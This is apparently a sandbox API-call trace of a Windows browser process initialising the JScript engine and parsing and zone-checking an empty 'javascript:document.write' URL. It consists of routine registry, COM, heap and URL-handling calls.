[0041.866] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x30e238 | out: phkResult=0x30e238*=0x0) returned 0x2 [0041.870] GetVersion () returned 0x1db10106 [0041.870] DllGetClassObject (in: rclsid=0x541a98*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), riid=0x7630ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30ea24 | out: ppv=0x30ea24*=0x3fe00) returned 0x0 [0041.870] ??2@YAPAXI@Z () returned 0x3fe00 [0041.871] JScriptEngine5:IClassFactory:CreateInstance (in: This=0x3fe00, pUnkOuter=0x0, riid=0x30f3d0*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x30ea10 | out: ppvObject=0x30ea10*=0x2940488) returned 0x0 [0041.871] ??2@YAPAXI@Z () returned 0x2940488 [0041.871] GetUserDefaultLCID () returned 0x409 [0041.871] GetACP () returned 0x4e4 [0041.871] JScriptEngine5:IUnknown:AddRef (This=0x2940488) returned 0x2 [0041.871] JScriptEngine5:IUnknown:Release (This=0x2940488) returned 0x1 [0041.871] JScriptEngine5:IUnknown:Release (This=0x3fe00) returned 0x0 [0041.871] ??3@YAXPAX@Z () returned 0x1 [0041.871] JScriptEngine5:IUnknown:QueryInterface (in: This=0x2940488, riid=0x72d795b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x30f6fc | out: ppvObject=0x30f6fc*=0x2940488) returned 0x0 [0041.871] JScriptEngine5:IUnknown:Release (This=0x2940488) returned 0x1 [0041.871] IUnknown:AddRef (This=0x53c40c) returned 0x4 [0041.871] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pdwZone=0x30f66c, dwFlags=0x0 | out: pdwZone=0x30f66c*=0xffffffff) returned 0x800c0011 [0041.871] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.872] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.872] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0041.872] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="javascript:document.write('');", dwAction=0x1401, pPolicy=0x30f670, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x30f670*=0x0) returned 0x0 [0041.872] IUnknown:Release (This=0x53c40c) returned 0x3 [0041.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x54) returned 0x571a78 [0041.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x565c28 [0041.872] GetCurrentThreadId () returned 0x86c [0041.872] ??2@YAPAXI@Z () returned 0x3fe00 [0041.872] GetCurrentThreadId () returned 0x86c [0041.872] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f598 | out: phkResult=0x30f598*=0x24c) returned 0x0 [0041.872] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExA") returned 0x754c48ef [0041.872] RegQueryValueExA (in: hKey=0x24c, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x30f58c, lpData=0x30f590, lpcbData=0x30f594*=0x4 | out: lpType=0x30f58c*=0x4, lpData=0x30f590*=0x1, lpcbData=0x30f594*=0x4) returned 0x0 [0041.872] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0041.872] RegCloseKey (hKey=0x24c) returned 0x0 [0041.873] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x762c0000 [0041.873] GetProcAddress (hModule=0x762c0000, lpProcName="CoGetObjectContext") returned 0x7630632b [0041.873] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x762c0000 [0041.873] GetProcAddress (hModule=0x762c0000, lpProcName="CoCreateInstance") returned 0x76309d0b [0041.873] CoCreateInstance (in: rclsid=0x73bf23a8*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73bf23b8*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f594 | out: ppv=0x30f594*=0x76406460) returned 0x0 [0041.874] ??2@YAPAXI@Z () returned 0x3fe38 [0041.874] ??_U@YAPAXI@Z () returned 0x313c0 [0041.874] ??2@YAPAXI@Z () returned 0x3fec8 [0041.874] ??2@YAPAXI@Z () returned 0x29406a0 [0041.874] ??2@YAPAXI@Z () returned 0x3ff00 [0041.874] GetCurrentThreadId () returned 0x86c [0041.874] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x30f538, nSize=0x27 | out: lpBuffer="") returned 0x0 [0041.874] GetCurrentThreadId () returned 0x86c [0041.874] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0041.875] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x30f5a8, cchData=6 | out: lpLCData="1252") returned 5 [0041.875] IsValidCodePage (CodePage=0x4e4) returned 1 [0041.875] GetCurrentThreadId () returned 0x86c [0041.875] GetCurrentThreadId () returned 0x86c [0041.875] CoCreateInstance (in: rclsid=0x73bf15ec*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73bf15fc*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x2940674 | out: ppv=0x2940674*=0x560cb8) returned 0x0 [0041.875] IUnknown:AddRef (This=0x560cb8) returned 0x2 [0041.875] GetCurrentProcessId () returned 0x7b4 [0041.875] GetCurrentThreadId () returned 0x86c [0041.875] GetTickCount () returned 0x11540b9 [0041.875] ISystemDebugEventFire:BeginSession (This=0x560cb8, guidSourceID=0x73bf16d4, strSessionName="JScript:00001972:00002156:18170041") returned 0x0 [0041.875] GetCurrentThreadId () returned 0x86c [0041.875] GetCurrentThreadId () returned 0x86c [0041.875] ??2@YAPAXI@Z () returned 0x3ff68 [0041.876] GetCurrentThreadId () returned 0x86c [0041.876] StrCmpICW (pszStr1="window", pszStr2="window") returned 0 [0041.876] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x14) returned 0x569c00 [0041.876] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f504 | out: ppv=0x30f504*=0x537288) returned 0x0 [0041.876] ??2@YAPAXI@Z () returned 0x3ffa0 [0041.876] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x76406460, pUnk=0x3ffa0, riid=0x73bf5710*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x3ffbc | out: pdwCookie=0x3ffbc*=0x100) returned 0x0 [0041.876] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x3ffa0, riid=0x762f97c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x30f488 | out: ppvObject=0x30f488*=0x0) returned 0x80004002 [0041.876] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x3ffa0, riid=0x76303e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x30f478 | out: ppvObject=0x30f478*=0x0) returned 0x80004002 [0041.876] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3ffa0) returned 0x2 [0041.876] IUnknown:AddRef (This=0x537288) returned 0x2 [0041.876] IUnknown:Release (This=0x537288) returned 0x1 [0041.876] ??2@YAPAXI@Z () returned 0x2940998 [0041.876] GetTickCount () returned 0x11540b9 [0041.876] ??2@YAPAXI@Z () returned 0x2940fe8 [0041.876] malloc (_Size=0x40) returned 0x2941058 [0041.876] malloc (_Size=0x104) returned 0x29410a0 [0041.876] ??2@YAPAXI@Z () returned 0x3ffc8 [0041.876] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f520 | out: ppv=0x30f520*=0x537288) returned 0x0 [0041.876] IUnknown:Release (This=0x537288) returned 0x1 [0041.877] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f520 | out: ppv=0x30f520*=0x537288) returned 0x0 [0041.877] IUnknown:Release (This=0x537288) returned 0x1 [0041.877] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x565c40 [0041.877] GetCurrentThreadId () returned 0x86c [0041.877] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x565c58 [0041.877] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x573068 [0041.877] GetCurrentThreadId () returned 0x86c [0041.877] realloc (_Block=0x0, _Size=0xc8) returned 0x29411b0 [0041.877] ??2@YAPAXI@Z () returned 0x2941280 [0041.877] malloc (_Size=0x804) returned 0x29412a8 [0041.877] ??2@YAPAXI@Z () returned 0x2941ab8 [0041.878] malloc (_Size=0x104) returned 0x2941c20 [0041.878] ??3@YAXPAX@Z () returned 0x1 [0041.878] malloc (_Size=0x204) returned 0x2941d30 [0041.878] malloc (_Size=0x40) returned 0x2941f40 [0041.878] malloc (_Size=0x2e4) returned 0x2941f88 [0041.878] ??2@YAPAXI@Z () returned 0x313d0 [0041.878] free (_Block=0x29412a8) [0041.878] ??3@YAXPAX@Z () returned 0x1 [0041.878] free (_Block=0x2941f40) [0041.879] free (_Block=0x2941d30) [0041.879] free (_Block=0x2941c20) [0041.879] ??2@YAPAXI@Z () returned 0x2941280 [0041.879] ??2@YAPAXI@Z () returned 0x29412b8 [0041.879] malloc (_Size=0xc) returned 0x29412d8 [0041.879] ??2@YAPAXI@Z () returned 0x29412f0 [0041.879] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f640 | out: ppv=0x30f640*=0x537288) returned 0x0 [0041.879] IUnknown:Release (This=0x537288) returned 0x1 [0041.879] ??2@YAPAXI@Z () returned 0x2941338 [0041.879] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f690 | out: ppv=0x30f690*=0x537288) returned 0x0 [0041.879] IUnknown:Release (This=0x537288) returned 0x1 [0041.880] ??2@YAPAXI@Z () returned 0x29413a8 [0041.880] ISystemDebugEventFire:IsActive (This=0x560cb8) returned 0x1 [0041.880] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f68c | out: ppv=0x30f68c*=0x537288) returned 0x0 [0041.880] IUnknown:Release (This=0x537288) returned 0x1 [0041.880] malloc (_Size=0x658) returned 0x2941428 [0041.881] GetCurrentThreadId () returned 0x86c [0041.881] GetCurrentThreadId () returned 0x86c [0041.881] GetCurrentThreadId () returned 0x86c [0041.881] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x5555f0 [0041.881] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.882] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.882] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x560d00 [0041.882] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x128) returned 0x5747e8 [0041.882] ??2@YAPAXI@Z () returned 0x2941a88 [0041.882] GetCurrentThreadId () returned 0x86c [0041.882] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.882] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x560d48 [0041.882] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x555620 [0041.882] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x14) returned 0x569c20 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52d8d8 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30c) returned 0x574918 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569c40 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569c60 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569c80 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569ca0 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569cc0 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569ce0 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569d00 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569d20 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569d40 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569d60 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569d80 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569da0 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x565c70 [0041.883] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.883] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.883] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.883] IsCharSpaceW (wch=0x77) returned 0 [0041.883] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.883] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x560d90 [0041.883] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.883] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.883] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.884] GetProcAddress (hModule=0x769d0000, lpProcName=0xf) returned 0x769ee263 [0041.884] GetProcAddress (hModule=0x769d0000, lpProcName=0x1a) returned 0x769ee9b7 [0041.884] SafeArrayPutElement (psa=0x555660, rgIndices=0x30effc, pv=0x30f278) returned 0x0 [0041.885] GetCurrentThreadId () returned 0x86c [0041.885] GetCurrentThreadId () returned 0x86c [0041.885] GetCurrentThreadId () returned 0x86c [0041.885] GetCurrentThreadId () returned 0x86c [0041.885] GetCurrentThreadId () returned 0x86c [0041.885] GetCurrentThreadId () returned 0x86c [0041.885] GetCurrentThreadId () returned 0x86c [0041.885] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ebf4 | out: ppu=0x30ebf4) returned 0x0 [0041.885] GetProcAddress (hModule=0x769d0000, lpProcName=0x2) returned 0x769d4642 [0041.885] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x553e20 [0041.885] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x769d0000 [0041.885] GetProcAddress (hModule=0x769d0000, lpProcName="VariantClear") returned 0x769d3eae [0041.885] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30ecf8 | out: lpPoint=0x30ecf8) returned 1 [0041.886] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c070 [0041.886] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x555680 [0041.886] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55c070 | out: hHeap=0x510000) returned 1 [0041.886] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30eb88 | out: lpPoint=0x30eb88) returned 1 [0041.886] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c070 [0041.886] GetCurrentThreadId () returned 0x86c [0041.886] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55c070 | out: hHeap=0x510000) returned 1 [0041.886] GetCurrentThreadId () returned 0x86c [0041.888] GetProcAddress (hModule=0x769d0000, lpProcName=0x4) returned 0x769d45d2 [0041.888] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ee78 | out: ppu=0x30ee78) returned 0x0 [0041.888] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x5556b0 [0041.888] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x569dc0 [0041.888] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xd0) returned 0x53d9f0 [0041.888] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x552420 [0041.888] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574c48 [0041.889] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2000) returned 0x575030 [0041.889] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x552478 [0041.889] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552478 | out: hHeap=0x510000) returned 1 [0041.889] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.889] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x30ebc8 | out: ppURI=0x30ebc8*=0x53c0ac) returned 0x0 [0041.889] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="about:blank", pdwZone=0x30ebcc, dwFlags=0x0 | out: pdwZone=0x30ebcc*=0xffffffff) returned 0x800c0011 [0041.889] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.889] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.889] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0041.889] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="about:blank", dwAction=0x2106, pPolicy=0x30ebd0, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x30ebd0*=0x0) returned 0x0 [0041.889] IUnknown:Release (This=0x53c0ac) returned 0x2 [0041.889] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2c) returned 0x55c070 [0041.889] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ee70 | out: ppu=0x30ee70) returned 0x0 [0041.889] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x569de0 [0041.889] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10c) returned 0x553f38 [0041.889] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x560dd8 [0041.890] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:document.write('');", ppmk=0x30c870*=0x0, dwFlags=0x1 | out: ppmk=0x30c870*=0x54fc10) returned 0x0 [0041.890] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30c3a4 | out: ppv=0x30c3a4*=0x73158d20) returned 0x0 [0041.890] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30c490 | out: ppvObject=0x30c490*=0x73158d2c) returned 0x0 [0041.890] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.890] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=1, dwParseFlags=0x10000, pwzResult=0x577038, cchResult=0x824, pcchResult=0x30c7a4, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30c7a4*=0x0) returned 0x800c0011 [0041.890] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.890] IUnknown:AddRef (This=0x54fc10) returned 0x2 [0041.890] IUnknown:Release (This=0x54fc10) returned 0x1 [0041.890] IUnknown:QueryInterface (in: This=0x54fc10, riid=0x72d572f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x30ec60 | out: ppvObject=0x30ec60*=0x54fc1c) returned 0x0 [0041.890] IUriContainer:GetIUri (in: This=0x54fc1c, ppIUri=0x30ecb4 | out: ppIUri=0x30ecb4*=0x53c694) returned 0x0 [0041.890] IUnknown:Release (This=0x54fc1c) returned 0x1 [0041.890] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1c) returned 0x573090 [0041.890] IUnknown:AddRef (This=0x54fc10) returned 0x2 [0041.891] IUnknown:AddRef (This=0x53c694) returned 0x15 [0041.891] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30ec8c | out: ppvObject=0x30ec8c*=0x53c694) returned 0x0 [0041.891] IUnknown:Release (This=0x53c694) returned 0x15 [0041.891] IUnknown:AddRef (This=0x53c694) returned 0x16 [0041.891] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30ec84 | out: pdwScheme=0x30ec84*=0xf) returned 0x0 [0041.891] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xc8) returned 0x56aa10 [0041.891] GetCurrentProcessId () returned 0x7b4 [0041.891] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30ec8c | out: ppvObject=0x30ec8c*=0x53c694) returned 0x0 [0041.891] IUnknown:Release (This=0x53c694) returned 0x16 [0041.891] IUnknown:AddRef (This=0x53c694) returned 0x17 [0041.891] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30ec5c | out: pdwScheme=0x30ec5c*=0xf) returned 0x0 [0041.891] IUri:GetAbsoluteUri (in: This=0x53c694, pbstrAbsoluteUri=0x30ec8c | out: pbstrAbsoluteUri=0x30ec8c*="javascript:document.write('');") returned 0x0 [0041.891] SysStringLen (param_1="javascript:document.write('');") returned 0x85 [0041.891] CreateUri (in: pwzURI="javascript:document.write('');", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x30eca8 | out: ppURI=0x30eca8*=0x53c40c) returned 0x0 [0041.891] IUnknown:Release (This=0x53c694) returned 0x16 [0041.891] IUri:GetScheme (in: This=0x53c40c, pdwScheme=0x30ec3c | out: pdwScheme=0x30ec3c*=0xf) returned 0x0 [0041.891] IUnknown:QueryInterface (in: This=0x53c40c, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30ec44 | out: ppvObject=0x30ec44*=0x53c40c) returned 0x0 [0041.891] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.891] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.891] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.891] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.891] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.891] IUri:GetAbsoluteUri (in: This=0x53c40c, pbstrAbsoluteUri=0x573090 | out: pbstrAbsoluteUri=0x573090*="javascript:document.write('');") returned 0x0 [0041.891] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30ec84 | out: pdwScheme=0x30ec84*=0xf) returned 0x0 [0041.891] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x569e00 [0041.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x14) returned 0x569e20 [0041.893] GetCurrentThreadId () returned 0x86c [0041.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574c60 [0041.893] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560dd8, Size=0x60) returned 0x55f8c0 [0041.893] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30ea88 | out: lpPoint=0x30ea88) returned 1 [0041.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c0a8 [0041.893] GetCurrentThreadId () returned 0x86c [0041.893] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55c0a8 | out: hHeap=0x510000) returned 1 [0041.893] GetCurrentThreadId () returned 0x86c [0041.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x554050 [0041.893] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ec28 | out: ppu=0x30ec28) returned 0x0 [0041.893] CreateUri (in: pwzURI="javascript:document.write('');", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30ec0c | out: ppURI=0x30ec0c*=0x53c40c) returned 0x0 [0041.893] IUnknown:AddRef (This=0x53c40c) returned 0x7 [0041.894] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pdwZone=0x30ebac, dwFlags=0x0 | out: pdwZone=0x30ebac*=0xffffffff) returned 0x800c0011 [0041.894] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.894] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.894] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0041.894] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="javascript:document.write('');", dwAction=0x2700, pPolicy=0x30ebb0, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x30ebb0*=0x0) returned 0x0 [0041.894] IUnknown:Release (This=0x53c40c) returned 0x6 